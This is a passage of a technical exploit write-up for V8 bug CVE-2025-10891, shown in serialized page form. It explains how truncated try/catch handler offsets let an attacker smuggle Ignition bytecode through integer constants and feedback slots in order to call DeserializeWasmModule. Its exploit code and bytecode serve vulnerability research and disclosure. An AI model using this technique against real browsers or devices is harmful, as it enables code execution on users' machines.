0xffffffff;\n",[131642],{"type":23,"tag":92,"props":131643,"children":131644},{"__ignoreMap":7},[131645,131668,131692,131716],{"type":23,"tag":134,"props":131646,"children":131647},{"class":136,"line":137},[131648,131652,131656,131660,131664],{"type":23,"tag":134,"props":131649,"children":131650},{"style":151},[131651],{"type":28,"value":11254},{"type":23,"tag":134,"props":131653,"children":131654},{"style":162},[131655],{"type":28,"value":89348},{"type":23,"tag":134,"props":131657,"children":131658},{"style":168},[131659],{"type":28,"value":171},{"type":23,"tag":134,"props":131661,"children":131662},{"style":205},[131663],{"type":28,"value":1729},{"type":23,"tag":134,"props":131665,"children":131666},{"style":179},[131667],{"type":28,"value":182},{"type":23,"tag":134,"props":131669,"children":131670},{"class":136,"line":147},[131671,131675,131679,131683,131688],{"type":23,"tag":134,"props":131672,"children":131673},{"style":151},[131674],{"type":28,"value":11254},{"type":23,"tag":134,"props":131676,"children":131677},{"style":162},[131678],{"type":28,"value":90222},{"type":23,"tag":134,"props":131680,"children":131681},{"style":168},[131682],{"type":28,"value":171},{"type":23,"tag":134,"props":131684,"children":131685},{"style":205},[131686],{"type":28,"value":131687}," 0x0fff",{"type":23,"tag":134,"props":131689,"children":131690},{"style":179},[131691],{"type":28,"value":182},{"type":23,"tag":134,"props":131693,"children":131694},{"class":136,"line":185},[131695,131699,131703,131707,131712],{"type":23,"tag":134,"props":131696,"children":131697},{"style":151},[131698],{"type":28,"value":11254},{"type":23,"tag":134,"props":131700,"children":131701},{"style":162},[131702],{"type":28,"value":36943},{"type":23,"tag":134,"props":131704,"children":131705},{"style":168},[131706],{"type":28,"value":171},{"type":23,"tag":134,"props":131708,"children":131709},{"style":205},[131710],{"type":28,"value":131711}," 0x0fffffff",{"type":23,"tag":134,"props":131713,"children":131714},{"style":179},[131715],{"type":28,"value":182},{"type":23,"tag":134,"props":131717,"children":131718},{"class":136,"line":221},[131719,131723,131728,131732,131737],{"type":23,"tag":134,"props":131720,"children":131721},{"style":151},[131722],{"type":28,"value":11254},{"type":23,"tag":134,"props":131724,"children":131725},{"style":162},[131726],{"type":28,"value":131727}," d",{"type":23,"tag":134,"props":131729,"children":131730},{"style":168},[131731],{"type":28,"value":171},{"type":23,"tag":134,"props":131733,"children":131734},{"style":205},[131735],{"type":28,"value":131736}," 0xffffffff",{"type":23,"tag":134,"props":131738,"children":131739},{"style":179},[131740],{"type":28,"value":182},{"type":23,"tag":24,"props":131742,"children":131743},{},[131744],{"type":28,"value":131745},"compiles to",{"type":23,"tag":87,"props":131747,"children":131749},{"code":131748}," # Load the Smi `1` into the accumulator\n 0 : 0d 01             LdaSmi [1]\n # Store it to register 0\n 2 : ce                Star0\n # Load the 2-byte Smi `0xfff` into acc\n 3 : 00 0d ff 0f       LdaSmi.Wide [4095]\n # Store it to register 1\n 7 : cd                Star1\n # Load the 4-byte Smi `0xfffffff` into acc\n 8 : 01 0d ff ff ff 0f LdaSmi.ExtraWide [268435455]\n # Store it to register 2\n14 : cc                Star2\n# `0xffffffff` doesn't fit into an Smi, so a `HeapNumber` is allocated in the function's constant pool and loaded\n15 : 13 00             LdaConstant [0]\n# Store it to register 3\n17 : cb                Star3\n18 : 0e                LdaUndefined\n19 : b3                Return\n",[131750],{"type":23,"tag":92,"props":131751,"children":131752},{"__ignoreMap":7},[131753],{"type":28,"value":131748},{"type":23,"tag":24,"props":131755,"children":131756},{},[131757],{"type":28,"value":131758},"Ignition bytecode is then passed through the Sparkplug, Maglev, and Turbofan JIT compilers depending on the required amount of optimization. Yes, V8 has FOUR compilers, all so that slop devs can continue \"engineering\" their RAM-hungry, CPU-draining web apps that have plagued the modern internet.",{"type":23,"tag":9072,"props":131760,"children":131762},{"id":131761},"cve-2025-10891",[131763],{"type":28,"value":131615},{"type":23,"tag":24,"props":131765,"children":131766},{},[131767,131769,131775,131777,131783],{"type":28,"value":131768},"The bug is in the handling of try/catch blocks. These are encoded in a function as a list of ",{"type":23,"tag":92,"props":131770,"children":131772},{"className":131771},[],[131773],{"type":28,"value":131774},"[start, end) => handler",{"type":28,"value":131776}," offsets - if an exception is thrown in the given bytecode address range, ",{"type":23,"tag":92,"props":131778,"children":131780},{"className":131779},[],[131781],{"type":28,"value":131782},"handler",{"type":28,"value":131784}," is jumped to.",{"type":23,"tag":87,"props":131786,"children":131788},{"code":131787,"language":30860,"meta":7,"className":30858,"style":7},"try {\n  throw 1;\n} catch {\n  let b = 2;\n}\n",[131789],{"type":23,"tag":92,"props":131790,"children":131791},{"__ignoreMap":7},[131792,131803,131818,131833,131856],{"type":23,"tag":134,"props":131793,"children":131794},{"class":136,"line":137},[131795,131799],{"type":23,"tag":134,"props":131796,"children":131797},{"style":189},[131798],{"type":28,"value":47836},{"type":23,"tag":134,"props":131800,"children":131801},{"style":179},[131802],{"type":28,"value":463},{"type":23,"tag":134,"props":131804,"children":131805},{"class":136,"line":147},[131806,131810,131814],{"type":23,"tag":134,"props":131807,"children":131808},{"style":189},[131809],{"type":28,"value":34699},{"type":23,"tag":134,"props":131811,"children":131812},{"style":205},[131813],{"type":28,"value":1729},{"type":23,"tag":134,"props":131815,"children":131816},{"style":179},[131817],{"type":28,"value":182},{"type":23,"tag":134,"props":131819,"children":131820},{"class":136,"line":185},[131821,131825,131829],{"type":23,"tag":134,"props":131822,"children":131823},{"style":179},[131824],{"type":28,"value":46378},{"type":23,"tag":134,"props":131826,"children":131827},{"style":189},[131828],{"type":28,"value":47916},{"type":23,"tag":134,"props":131830,"children":131831},{"style":179},[131832],{"type":28,"value":463},{"type":23,"tag":134,"props":131834,"children":131835},{"class":136,"line":221},[131836,131840,131844,131848,131852],{"type":23,"tag":134,"props":131837,"children":131838},{"style":151},[131839],{"type":28,"value":7314},{"type":23,"tag":134,"props":131841,"children":131842},{"style":162},[131843],{"type":28,"value":90222},{"type":23,"tag":134,"props":131845,"children":131846},{"style":168},[131847],{"type":28,"value":171},{"type":23,"tag":134,"props":131849,"children":131850},{"style":205},[131851],{"type":28,"value":7393},{"type":23,"tag":134,"props":131853,"children":131854},{"style":179},[131855],{"type":28,"value":182},{"type":23,"tag":134,"props":131857,"children":131858},{"class":136,"line":332},[131859],{"type":23,"tag":134,"props":131860,"children":131861},{"style":179},[131862],{"type":28,"value":1098},{"type":23,"tag":87,"props":131864,"children":131866},{"code":131865}," 0 : 1b ff f8          Mov \u003Ccontext>, r1\n # Start of try block\n # ---------------------------------\n 3 : 0d 01             LdaSmi [1]\n 5 : b1                Throw\n # ---------------------------------\n 6 : 10                LdaTheHole\n 7 : b0                SetPendingMessage\n # Start of catch handler\n 8 : 0d 02             LdaSmi [2]\n10 : ce                Star0\n11 : 0e                LdaUndefined\n12 : b3                Return\nHandler Table (size = 16)\n   from   to       hdlr (prediction,   data)\n  (   3,   6)  ->     6 (prediction=1, data=1)\n",[131867],{"type":23,"tag":92,"props":131868,"children":131869},{"__ignoreMap":7},[131870],{"type":28,"value":131865},{"type":23,"tag":24,"props":131872,"children":131873},{},[131874,131876,131881,131883,131888],{"type":28,"value":131875},"However, the ",{"type":23,"tag":92,"props":131877,"children":131879},{"className":131878},[],[131880],{"type":28,"value":131782},{"type":28,"value":131882}," offset is stored in a 28-bit bitfield. If the address of the ",{"type":23,"tag":92,"props":131884,"children":131886},{"className":131885},[],[131887],{"type":28,"value":47916},{"type":28,"value":131889}," block does not fit within 28 bits, it will be silently truncated. This will lead to a jump into a completely different part of the code - even in the middle of an instruction.",{"type":23,"tag":24,"props":131891,"children":131892},{},[131893,131895,131901],{"type":28,"value":131894},"One easy way to generate a large enough function, as suggested in the initial report, is to emit many ",{"type":23,"tag":92,"props":131896,"children":131898},{"className":131897},[],[131899],{"type":28,"value":131900},"yield*",{"type":28,"value":131902}," statements, as that drastically increases the size of the Ignition bytecode.",{"type":23,"tag":61,"props":131904,"children":131906},{"id":131905},"exploitation",[131907],{"type":28,"value":131908},"Exploitation",{"type":23,"tag":9072,"props":131910,"children":131912},{"id":131911},"constant-smuggling",[131913],{"type":28,"value":131914},"Constant Smuggling",{"type":23,"tag":24,"props":131916,"children":131917},{},[131918,131920,131927],{"type":28,"value":131919},"Our initial approach to exploitation was inspired by the 'shellcode smuggling' ",{"type":23,"tag":31,"props":131921,"children":131924},{"href":131922,"rel":131923},"https://blog.exodusintel.com/2024/01/19/google-chrome-v8-cve-2024-0517-out-of-bounds-write-code-execution/",[35],[131925],{"type":28,"value":131926},"technique",{"type":28,"value":131928}," - when arbitrary read-write is achieved in browser exploits, we can often JIT compile a function like this:",{"type":23,"tag":87,"props":131930,"children":131932},{"code":131931,"language":30860,"meta":7,"className":30858,"style":7},"let a = -9.255963134931783e61;\nlet b = -9.255963134931783e61;\nlet c = -9.255963134931783e61;\nlet d = -9.255963134931783e61;\n",[131933],{"type":23,"tag":92,"props":131934,"children":131935},{"__ignoreMap":7},[131936,131964,131991,132018],{"type":23,"tag":134,"props":131937,"children":131938},{"class":136,"line":137},[131939,131943,131947,131951,131955,131960],{"type":23,"tag":134,"props":131940,"children":131941},{"style":151},[131942],{"type":28,"value":11254},{"type":23,"tag":134,"props":131944,"children":131945},{"style":162},[131946],{"type":28,"value":89348},{"type":23,"tag":134,"props":131948,"children":131949},{"style":168},[131950],{"type":28,"value":171},{"type":23,"tag":134,"props":131952,"children":131953},{"style":168},[131954],{"type":28,"value":50761},{"type":23,"tag":134,"props":131956,"children":131957},{"style":205},[131958],{"type":28,"value":131959},"9.255963134931783e61",{"type":23,"tag":134,"props":131961,"children":131962},{"style":179},[131963],{"type":28,"value":182},{"type":23,"tag":134,"props":131965,"children":131966},{"class":136,"line":147},[131967,131971,131975,131979,131983,131987],{"type":23,"tag":134,"props":131968,"children":131969},{"style":151},[131970],{"type":28,"value":11254},{"type":23,"tag":134,"props":131972,"children":131973},{"style":162},[131974],{"type":28,"value":90222},{"type":23,"tag":134,"props":131976,"children":131977},{"style":168},[131978],{"type":28,"value":171},{"type":23,"tag":134,"props":131980,"children":131981},{"style":168},[131982],{"type":28,"value":50761},{"type":23,"tag":134,"props":131984,"children":131985},{"style":205},[131986],{"type":28,"value":131959},{"type":23,"tag":134,"props":131988,"children":131989},{"style":179},[131990],{"type":28,"value":182},{"type":23,"tag":134,"props":131992,"children":131993},{"class":136,"line":185},[131994,131998,132002,132006,132010,132014],{"type":23,"tag":134,"props":131995,"children":131996},{"style":151},[131997],{"type":28,"value":11254},{"type":23,"tag":134,"props":131999,"children":132000},{"style":162},[132001],{"type":28,"value":36943},{"type":23,"tag":134,"props":132003,"children":132004},{"style":168},[132005],{"type":28,"value":171},{"type":23,"tag":134,"props":132007,"children":132008},{"style":168},[132009],{"type":28,"value":50761},{"type":23,"tag":134,"props":132011,"children":132012},{"style":205},[132013],{"type":28,"value":131959},{"type":23,"tag":134,"props":132015,"children":132016},{"style":179},[132017],{"type":28,"value":182},{"type":23,"tag":134,"props":132019,"children":132020},{"class":136,"line":221},[132021,132025,132029,132033,132037,132041],{"type":23,"tag":134,"props":132022,"children":132023},{"style":151},[132024],{"type":28,"value":11254},{"type":23,"tag":134,"props":132026,"children":132027},{"style":162},[132028],{"type":28,"value":131727},{"type":23,"tag":134,"props":132030,"children":132031},{"style":168},[132032],{"type":28,"value":171},{"type":23,"tag":134,"props":132034,"children":132035},{"style":168},[132036],{"type":28,"value":50761},{"type":23,"tag":134,"props":132038,"children":132039},{"style":205},[132040],{"type":28,"value":131959},{"type":23,"tag":134,"props":132042,"children":132043},{"style":179},[132044],{"type":28,"value":182},{"type":23,"tag":24,"props":132046,"children":132047},{},[132048],{"type":28,"value":132049},"These floating-point constants will compile to 8-byte constants inside the machine code (the last 2 of which are used to jump into the next constant).",{"type":23,"tag":24,"props":132051,"children":132052},{},[132053],{"type":28,"value":132054},"We'll use a similar principle here, although much more limited. With",{"type":23,"tag":87,"props":132056,"children":132058},{"code":132057},"let a = 0x0693bebe;\n",[132059],{"type":23,"tag":92,"props":132060,"children":132061},{"__ignoreMap":7},[132062],{"type":28,"value":132057},{"type":23,"tag":24,"props":132064,"children":132065},{},[132066],{"type":28,"value":132067},"We will compile the bytecode:",{"type":23,"tag":87,"props":132069,"children":132071},{"code":132070},"01 0d be be 93 06 LdaSmi.ExtraWide\n",[132072],{"type":23,"tag":92,"props":132073,"children":132074},{"__ignoreMap":7},[132075],{"type":28,"value":132070},{"type":23,"tag":24,"props":132077,"children":132078},{},[132079,132081,132087,132089,132095,132096,132102],{"type":28,"value":132080},"We can then jump to the 3rd byte (",{"type":23,"tag":92,"props":132082,"children":132084},{"className":132083},[],[132085],{"type":28,"value":132086},"0xbe",{"type":28,"value":132088},"), and gain 2 controlled bytes of execution, followed by ",{"type":23,"tag":92,"props":132090,"children":132092},{"className":132091},[],[132093],{"type":28,"value":132094},"0x93 0x02 - 0xf",{"type":28,"value":232},{"type":23,"tag":92,"props":132097,"children":132099},{"className":132098},[],[132100],{"type":28,"value":132101},"Jump +[2-15]",{"type":28,"value":132103},") to jump into the next constant.",{"type":23,"tag":24,"props":132105,"children":132106},{},[132107,132109,132115,132117,132123,132125,132131],{"type":28,"value":132108},"Note that the jump constant will change as the subsequent store instruction becomes longer due to storing to deeper registers. Storing to registers 1-15 resulted in simple one byte ",{"type":23,"tag":92,"props":132110,"children":132112},{"className":132111},[],[132113],{"type":28,"value":132114},"StarX",{"type":28,"value":132116}," instructions, registers 16-121 resulted in two bytes ",{"type":23,"tag":92,"props":132118,"children":132120},{"className":132119},[],[132121],{"type":28,"value":132122},"Star rX",{"type":28,"value":132124}," instructions, and the next batch resulted in 4 byte ",{"type":23,"tag":92,"props":132126,"children":132128},{"className":132127},[],[132129],{"type":28,"value":132130},"Star.ExtraWide rX",{"type":28,"value":132132}," instructions.",{"type":23,"tag":24,"props":132134,"children":132135},{},[132136,132138,132144],{"type":28,"value":132137},"With these short jumps, we can actually construct a massive jump slide of constants like ",{"type":23,"tag":92,"props":132139,"children":132141},{"className":132140},[],[132142],{"type":28,"value":132143},"0x8931111",{"type":28,"value":1697},{"type":23,"tag":87,"props":132146,"children":132148},{"code":132147,"language":30860,"meta":7,"className":30858,"style":7},"let a206 = 0x8931111;\nlet a207 = 0x8931111;\nlet a208 = 0x8931111;\nlet a209 = 0x8931111;\nlet a210 = 0x8931111;\nlet a211 = 0x8931111;\nlet a212 = 0x8931111;\n",[132149],{"type":23,"tag":92,"props":132150,"children":132151},{"__ignoreMap":7},[132152,132177,132201,132225,132249,132273,132297],{"type":23,"tag":134,"props":132153,"children":132154},{"class":136,"line":137},[132155,132159,132164,132168,132173],{"type":23,"tag":134,"props":132156,"children":132157},{"style":151},[132158],{"type":28,"value":11254},{"type":23,"tag":134,"props":132160,"children":132161},{"style":162},[132162],{"type":28,"value":132163}," a206",{"type":23,"tag":134,"props":132165,"children":132166},{"style":168},[132167],{"type":28,"value":171},{"type":23,"tag":134,"props":132169,"children":132170},{"style":205},[132171],{"type":28,"value":132172}," 0x8931111",{"type":23,"tag":134,"props":132174,"children":132175},{"style":179},[132176],{"type":28,"value":182},{"type":23,"tag":134,"props":132178,"children":132179},{"class":136,"line":147},[132180,132184,132189,132193,132197],{"type":23,"tag":134,"props":132181,"children":132182},{"style":151},[132183],{"type":28,"value":11254},{"type":23,"tag":134,"props":132185,"children":132186},{"style":162},[132187],{"type":28,"value":132188}," a207",{"type":23,"tag":134,"props":132190,"children":132191},{"style":168},[132192],{"type":28,"value":171},{"type":23,"tag":134,"props":132194,"children":132195},{"style":205},[132196],{"type":28,"value":132172},{"type":23,"tag":134,"props":132198,"children":132199},{"style":179},[132200],{"type":28,"value":182},{"type":23,"tag":134,"props":132202,"children":132203},{"class":136,"line":185},[132204,132208,132213,132217,132221],{"type":23,"tag":134,"props":132205,"children":132206},{"style":151},[132207],{"type":28,"value":11254},{"type":23,"tag":134,"props":132209,"children":132210},{"style":162},[132211],{"type":28,"value":132212}," a208",{"type":23,"tag":134,"props":132214,"children":132215},{"style":168},[132216],{"type":28,"value":171},{"type":23,"tag":134,"props":132218,"children":132219},{"style":205},[132220],{"type":28,"value":132172},{"type":23,"tag":134,"props":132222,"children":132223},{"style":179},[132224],{"type":28,"value":182},{"type":23,"tag":134,"props":132226,"children":132227},{"class":136,"line":221},[132228,132232,132237,132241,132245],{"type":23,"tag":134,"props":132229,"children":132230},{"style":151},[132231],{"type":28,"value":11254},{"type":23,"tag":134,"props":132233,"children":132234},{"style":162},[132235],{"type":28,"value":132236}," a209",{"type":23,"tag":134,"props":132238,"children":132239},{"style":168},[132240],{"type":28,"value":171},{"type":23,"tag":134,"props":132242,"children":132243},{"style":205},[132244],{"type":28,"value":132172},{"type":23,"tag":134,"props":132246,"children":132247},{"style":179},[132248],{"type":28,"value":182},{"type":23,"tag":134,"props":132250,"children":132251},{"class":136,"line":332},[132252,132256,132261,132265,132269],{"type":23,"tag":134,"props":132253,"children":132254},{"style":151},[132255],{"type":28,"value":11254},{"type":23,"tag":134,"props":132257,"children":132258},{"style":162},[132259],{"type":28,"value":132260}," a210",{"type":23,"tag":134,"props":132262,"children":132263},{"style":168},[132264],{"type":28,"value":171},{"type":23,"tag":134,"props":132266,"children":132267},{"style":205},[132268],{"type":28,"value":132172},{"type":23,"tag":134,"props":132270,"children":132271},{"style":179},[132272],{"type":28,"value":182},{"type":23,"tag":134,"props":132274,"children":132275},{"class":136,"line":438},[132276,132280,132285,132289,132293],{"type":23,"tag":134,"props":132277,"children":132278},{"style":151},[132279],{"type":28,"value":11254},{"type":23,"tag":134,"props":132281,"children":132282},{"style":162},[132283],{"type":28,"value":132284}," a211",{"type":23,"tag":134,"props":132286,"children":132287},{"style":168},[132288],{"type":28,"value":171},{"type":23,"tag":134,"props":132290,"children":132291},{"style":205},[132292],{"type":28,"value":132172},{"type":23,"tag":134,"props":132294,"children":132295},{"style":179},[132296],{"type":28,"value":182},{"type":23,"tag":134,"props":132298,"children":132299},{"class":136,"line":466},[132300,132304,132309,132313,132317],{"type":23,"tag":134,"props":132301,"children":132302},{"style":151},[132303],{"type":28,"value":11254},{"type":23,"tag":134,"props":132305,"children":132306},{"style":162},[132307],{"type":28,"value":132308}," a212",{"type":23,"tag":134,"props":132310,"children":132311},{"style":168},[132312],{"type":28,"value":171},{"type":23,"tag":134,"props":132314,"children":132315},{"style":205},[132316],{"type":28,"value":132172},{"type":23,"tag":134,"props":132318,"children":132319},{"style":179},[132320],{"type":28,"value":182},{"type":23,"tag":24,"props":132322,"children":132323},{},[132324],{"type":28,"value":132325},"Those instructions result in:",{"type":23,"tag":87,"props":132327,"children":132329},{"code":132328},"00: LdaTrue;\n01: LdaTrue;\n02: Jump +8;  >------------+\n04: Star rX + LdaSmi ...   |\nv--------------------------+\n0a: LdaTrue;\n0b: LdaTrue;\n",[132330],{"type":23,"tag":92,"props":132331,"children":132332},{"__ignoreMap":7},[132333],{"type":28,"value":132328},{"type":23,"tag":24,"props":132335,"children":132336},{},[132337,132339,132345,132347,132351],{"type":28,"value":132338},"(The offset of ",{"type":23,"tag":92,"props":132340,"children":132342},{"className":132341},[],[132343],{"type":28,"value":132344},"Jump",{"type":28,"value":132346}," instructions is added to the ",{"type":23,"tag":55,"props":132348,"children":132349},{},[132350],{"type":28,"value":70601},{"type":28,"value":132352}," of the instruction.)",{"type":23,"tag":24,"props":132354,"children":132355},{},[132356,132358,132364],{"type":28,"value":132357},"Now, 3 out of the 6 bytes in a ",{"type":23,"tag":92,"props":132359,"children":132361},{"className":132360},[],[132362],{"type":28,"value":132363},"LdaSmi.ExtraWide",{"type":28,"value":132365}," instruction are valid for merging into the smuggled arbitrary Ignition bytecode. This slide made exploit development a lot easier, as any additional code would cause the exception table to have new offsets.",{"type":23,"tag":9072,"props":132367,"children":132369},{"id":132368},"exploit-goal",[132370],{"type":28,"value":132371},"Exploit Goal",{"type":23,"tag":24,"props":132373,"children":132374},{},[132375,132377,132383,132384,132390],{"type":28,"value":132376},"Initially we considered using ",{"type":23,"tag":92,"props":132378,"children":132380},{"className":132379},[],[132381],{"type":28,"value":132382},"Star",{"type":28,"value":1787},{"type":23,"tag":92,"props":132385,"children":132387},{"className":132386},[],[132388],{"type":28,"value":132389},"Ldar",{"type":28,"value":132391}," instructions to store to out-of-bounds register indexes, as registers are stored on the regular stack. However, with only 2 bytes we can only access +/- 0x7f registers, which does not allow us to go out of bounds enough to access interesting values.",{"type":23,"tag":24,"props":132393,"children":132394},{},[132395,132397,132404],{"type":28,"value":132396},"We realized that register offsets 0 and 1 contain the saved frame pointer and return address respectively. We considered using this to ",{"type":23,"tag":31,"props":132398,"children":132401},{"href":132399,"rel":132400},"https://github.com/google/google-ctf/tree/main/2023/quals/sandbox-v8box/solution",[35],[132402],{"type":28,"value":132403},"stack pivot and ROP",{"type":28,"value":132405},". However, there were numerous downsides - primarily, we would need multiple leaks of binary addresses and the JS heap (to construct a buffer with a fake stack frame).",{"type":23,"tag":24,"props":132407,"children":132408},{},[132409],{"type":28,"value":132410},"Additionally, the interpreter expects all values to be tagged V8 values (i.e. 32-bit compressed pointers or Smis). This means that operating on 64-bit addresses can cause surprising truncations or 'untagging' extensions.",{"type":23,"tag":24,"props":132412,"children":132413},{},[132414],{"type":28,"value":132415},"Finally, ROP/stack pivoting-based approaches would cause significant work when porting from our x86_64 development machines to the aarch64 target device, and might not even be feasible given the existence of PAC and BTI on the Galaxy S25.",{"type":23,"tag":24,"props":132417,"children":132418},{},[132419,132421,132427,132429,132435,132437,132443],{"type":28,"value":132420},"At this point, we identified an interesting opcode: ",{"type":23,"tag":92,"props":132422,"children":132424},{"className":132423},[],[132425],{"type":28,"value":132426},"CallRuntime",{"type":28,"value":132428},". Runtime functions are used to implement a lot of core V8 functionality, and are native functions exposed to bytecode (but not to the user, unless ",{"type":23,"tag":92,"props":132430,"children":132432},{"className":132431},[],[132433],{"type":28,"value":132434},"--allow-natives-syntax",{"type":28,"value":132436}," is enabled). Many of these allow powerful functionality as inputs are assumed to be trusted, but one stands out: ",{"type":23,"tag":92,"props":132438,"children":132440},{"className":132439},[],[132441],{"type":28,"value":132442},"DeserializeWasmModule",{"type":28,"value":720},{"type":23,"tag":24,"props":132445,"children":132446},{},[132447,132449,132456,132457,132462,132463,132469,132471,132478],{"type":28,"value":132448},"WebAssembly modules may be internally serialized and deserialized by the runtime - this serialization format includes raw machine code for any ",{"type":23,"tag":31,"props":132450,"children":132453},{"href":132451,"rel":132452},"https://gist.github.com/Riatre/83d5fdb970946c8e185c5e1b2b842b1b",[35],[132454],{"type":28,"value":132455},"JIT-compiled functions",{"type":28,"value":18006},{"type":23,"tag":92,"props":132458,"children":132460},{"className":132459},[],[132461],{"type":28,"value":132442},{"type":28,"value":1787},{"type":23,"tag":92,"props":132464,"children":132466},{"className":132465},[],[132467],{"type":28,"value":132468},"SerializeWasmModule",{"type":28,"value":132470}," themselves are only used from test functions, and indeed have been ",{"type":23,"tag":31,"props":132472,"children":132475},{"href":132473,"rel":132474},"https://chromium-review.googlesource.com/c/v8/v8/+/6875821",[35],[132476],{"type":28,"value":132477},"removed",{"type":28,"value":132479}," from recent production V8 builds due to how abusable this functionality is.",{"type":23,"tag":24,"props":132481,"children":132482},{},[132483,132485,132491,132493,132499,132501,132506,132508,132514,132516,132521,132522,132527,132528,132533,132535,132541,132543,132547],{"type":28,"value":132484},"However, calling this opcode represented a significant challenge:\n",{"type":23,"tag":92,"props":132486,"children":132488},{"className":132487},[],[132489],{"type":28,"value":132490},"CallRuntime \u003Cfunc-id> \u003Cargs> \u003Cargc>",{"type":28,"value":132492},"\nWhere ",{"type":23,"tag":92,"props":132494,"children":132496},{"className":132495},[],[132497],{"type":28,"value":132498},"func-id",{"type":28,"value":132500}," is a 2-byte function ID, ",{"type":23,"tag":92,"props":132502,"children":132504},{"className":132503},[],[132505],{"type":28,"value":37726},{"type":28,"value":132507}," is the index of the last register passed and ",{"type":23,"tag":92,"props":132509,"children":132511},{"className":132510},[],[132512],{"type":28,"value":132513},"argc",{"type":28,"value":132515}," is the number of arguments passed (e.g. passing ",{"type":23,"tag":92,"props":132517,"children":132519},{"className":132518},[],[132520],{"type":28,"value":43884},{"type":28,"value":242},{"type":23,"tag":92,"props":132523,"children":132525},{"className":132524},[],[132526],{"type":28,"value":44027},{"type":28,"value":10458},{"type":23,"tag":92,"props":132529,"children":132531},{"className":132530},[],[132532],{"type":28,"value":44010},{"type":28,"value":132534}," would be encoded as ",{"type":23,"tag":92,"props":132536,"children":132538},{"className":132537},[],[132539],{"type":28,"value":132540},"\u003Cr2> \u003C3>",{"type":28,"value":132542},").\nThis requires ",{"type":23,"tag":55,"props":132544,"children":132545},{},[132546],{"type":28,"value":17582},{"type":28,"value":132548}," bytes of control - additionally, we must then store the accumulator safely into a register, then return the value back to JS code.",{"type":23,"tag":9072,"props":132550,"children":132552},{"id":132551},"better-bytecode-control",[132553],{"type":28,"value":132554},"Better Bytecode Control",{"type":23,"tag":24,"props":132556,"children":132557},{},[132558,132560,132567,132569,132575],{"type":28,"value":132559},"Luckily, arithmetic instructions in Ignition have a feature known as the '",{"type":23,"tag":31,"props":132561,"children":132564},{"href":132562,"rel":132563},"https://benediktmeurer.de/2017/12/13/an-introduction-to-speculative-optimization-in-v8/",[35],[132565],{"type":28,"value":132566},"feedback vector slot",{"type":28,"value":132568},"', where it stores profiling information for subsequent optimizations by Turbofan. Observationally, for the ",{"type":23,"tag":92,"props":132570,"children":132572},{"className":132571},[],[132573],{"type":28,"value":132574},"AddSmi",{"type":28,"value":132576}," instruction, it represents the number of operations performed on the target value so far.",{"type":23,"tag":24,"props":132578,"children":132579},{},[132580],{"type":28,"value":132581},"For example, we can look at the below Ignition disassembly:",{"type":23,"tag":87,"props":132583,"children":132585},{"code":132584},"2000 : 01 0d 11 11 93 0e LdaSmi.ExtraWide [244519185]\n2006 : cd                Star1\n2007 : 00 1b ff ff 1d ff Mov.Wide \u003Ccontext>, r220\n2013 : 0b f8             Ldar r1\n2015 : 01 4b 11 11 93 0a 01 00 00 00 AddSmi.ExtraWide [177410321], [1]\n2025 : 0b f8             Ldar r1\n2027 : 01 4b 11 11 93 0a 02 00 00 00 AddSmi.ExtraWide [177410321], [2]\n2037 : 0b f8             Ldar r1\n2039 : 01 4b 11 11 93 0a 03 00 00 00 AddSmi.ExtraWide [177410321], [3]\n2049 : 0b f8             Ldar r1\n2051 : 01 4b 11 11 93 0a 04 00 00 00 AddSmi.ExtraWide [177410321], [4]\n2061 : 0b f8             Ldar r1\n2063 : 01 4b 11 11 93 0a 05 00 00 00 AddSmi.ExtraWide [177410321], [5]\n",[132586],{"type":23,"tag":92,"props":132587,"children":132588},{"__ignoreMap":7},[132589],{"type":28,"value":132584},{"type":23,"tag":24,"props":132591,"children":132592},{},[132593,132595,132601],{"type":28,"value":132594},"We can see the feedback vector slot increments for every operation. This means that with a smuggled jump slide through ",{"type":23,"tag":92,"props":132596,"children":132598},{"className":132597},[],[132599],{"type":28,"value":132600},"AddSmi.ExtraWide",{"type":28,"value":132602},", we can control almost 8 bytes (because of the SMI constraint) given enough addition instructions.",{"type":23,"tag":24,"props":132604,"children":132605},{},[132606],{"type":28,"value":132607},"Eventually, we can reach a stage like this:",{"type":23,"tag":87,"props":132609,"children":132611},{"code":132610},"4385774 : 01 4b 6c 66 02 04 02 93 05 00 AddSmi.ExtraWide [67266156], [365314]\n",[132612],{"type":23,"tag":92,"props":132613,"children":132614},{"__ignoreMap":7},[132615],{"type":28,"value":132610},{"type":23,"tag":24,"props":132617,"children":132618},{},[132619],{"type":28,"value":132620},"If you skip the first two bytes, you have",{"type":23,"tag":16158,"props":132622,"children":132623},{},[132624,132655],{"type":23,"tag":4894,"props":132625,"children":132626},{},[132627,132632,132634,132639,132641,132647,132649],{"type":23,"tag":92,"props":132628,"children":132630},{"className":132629},[],[132631],{"type":28,"value":132426},{"type":28,"value":132633}," (0x6c) to ",{"type":23,"tag":92,"props":132635,"children":132637},{"className":132636},[],[132638],{"type":28,"value":132442},{"type":28,"value":132640}," (0x0266) starting from register ",{"type":23,"tag":92,"props":132642,"children":132644},{"className":132643},[],[132645],{"type":28,"value":132646},"a2",{"type":28,"value":132648}," (0x4) with 2 arguments (0x2). This becomes the call: ",{"type":23,"tag":92,"props":132650,"children":132652},{"className":132651},[],[132653],{"type":28,"value":132654},"DeserializeWasmModule(a2, a1)",{"type":23,"tag":4894,"props":132656,"children":132657},{},[132658],{"type":28,"value":132659},"a Jump instruction",{"type":23,"tag":9072,"props":132661,"children":132663},{"id":132662},"returning-back-to-js",[132664],{"type":28,"value":132665},"Returning Back to JS",{"type":23,"tag":24,"props":132667,"children":132668},{},[132669,132671,132677],{"type":28,"value":132670},"After that call, the result is stored in the accumulator. Since this function is an async generator, we have to ",{"type":23,"tag":92,"props":132672,"children":132674},{"className":132673},[],[132675],{"type":28,"value":132676},"yield",{"type":28,"value":132678}," the result, but that results in a long series of instructions that we can't possibly smuggle.",{"type":23,"tag":24,"props":132680,"children":132681},{},[132682],{"type":28,"value":132683},"The solution here is simple: we use the smuggled control flow to merge back into the normal control flow, that leads us into a yield from the original JS. For example, in our exploit, all the additions were done in a try block:",{"type":23,"tag":87,"props":132685,"children":132687},{"code":132686,"language":30860,"meta":7,"className":30858,"style":7},"try {\n  ${'a1 + 0xa931111;'.repeat(0x059302 - 1)}\n  a1 + 0x0402666c;\n  throw 0x393e91a;\n} catch (e) {\n  console.log(\"foo\");\n  yield 